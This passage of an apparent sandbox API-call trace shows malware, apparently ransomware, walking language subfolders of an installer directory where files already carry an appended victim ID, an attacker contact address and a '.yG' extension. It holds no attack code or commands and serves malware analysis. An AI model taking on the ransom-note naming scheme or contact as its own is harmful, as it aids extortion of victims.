	[0178.808] FindNextFileW (in: hFindFile=0x3cf0fe8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98cf3930, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98cf3930, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ee37f3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.808] FindNextFileW (in: hFindFile=0x3cf0fe8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ee37f3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ee37f3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98fa2446, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.808] FindNextFileW (in: hFindFile=0x3cf0fe8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x985a669b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x985a669b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985f2b26, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.808] FindNextFileW (in: hFindFile=0x3cf0fe8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x985a669b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x985a669b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985f2b26, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.808] FindClose (in: hFindFile=0x3cf0fe8 | out: hFindFile=0x3cf0fe8) returned 1
	[0178.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.809] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1035", cAlternateFileName="")) returned 1
	[0178.809] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.809] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0ee8
	[0178.811] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.811] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98f0a5b3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98f0a5b3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98f7c1e6, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.811] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98f55f6f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98f55f6f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9903add6, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.811] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x985cc8e8, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x985cc8e8, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.811] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x985cc8e8, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x985cc8e8, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.811] FindClose (in: hFindFile=0x3cf0ee8 | out: hFindFile=0x3cf0ee8) returned 1
	[0178.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.812] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1036", cAlternateFileName="")) returned 1
	[0178.812] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.812] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0a28
	[0178.813] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.813] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98f7c1e6, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98f7c1e6, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98fee8f7, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.814] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98fa2446, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98fa2446, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99014bb0, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.814] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98665226, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98665226, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98960125, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.814] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98665226, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98665226, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98960125, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.814] FindClose (in: hFindFile=0x3cf0a28 | out: hFindFile=0x3cf0a28) returned 1
	[0178.815] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.815] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1037", cAlternateFileName="")) returned 1
	[0178.815] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.815] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0e28
	[0178.816] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.816] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99014bb0, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99014bb0, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x990871f5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.816] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990871f5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990871f5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9916c0d9, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.816] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.817] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.817] FindClose (in: hFindFile=0x3cf0e28 | out: hFindFile=0x3cf0e28) returned 1
	[0178.817] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.817] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1038", cAlternateFileName="")) returned 1
	[0178.818] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.818] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf09a8
	[0178.818] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.819] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990611c6, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990611c6, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9919231b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.819] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990871f5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990871f5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9919231b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.819] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98960125, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98960125, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a44fd4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.819] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98960125, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98960125, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a44fd4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.819] FindClose (in: hFindFile=0x3cf09a8 | out: hFindFile=0x3cf09a8) returned 1
	[0178.820] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.820] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1040", cAlternateFileName="")) returned 1
	[0178.820] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.820] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0f28
	[0178.890] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.891] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991de6e7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991de6e7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9922acae, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.891] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991de6e7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991de6e7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9927717e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.891] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989863cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989863cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a6b29d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.891] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989863cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989863cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a6b29d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.891] FindClose (in: hFindFile=0x3cf0f28 | out: hFindFile=0x3cf0f28) returned 1
	[0178.891] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.891] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1041", cAlternateFileName="")) returned 1
	[0178.891] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.892] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf08e8
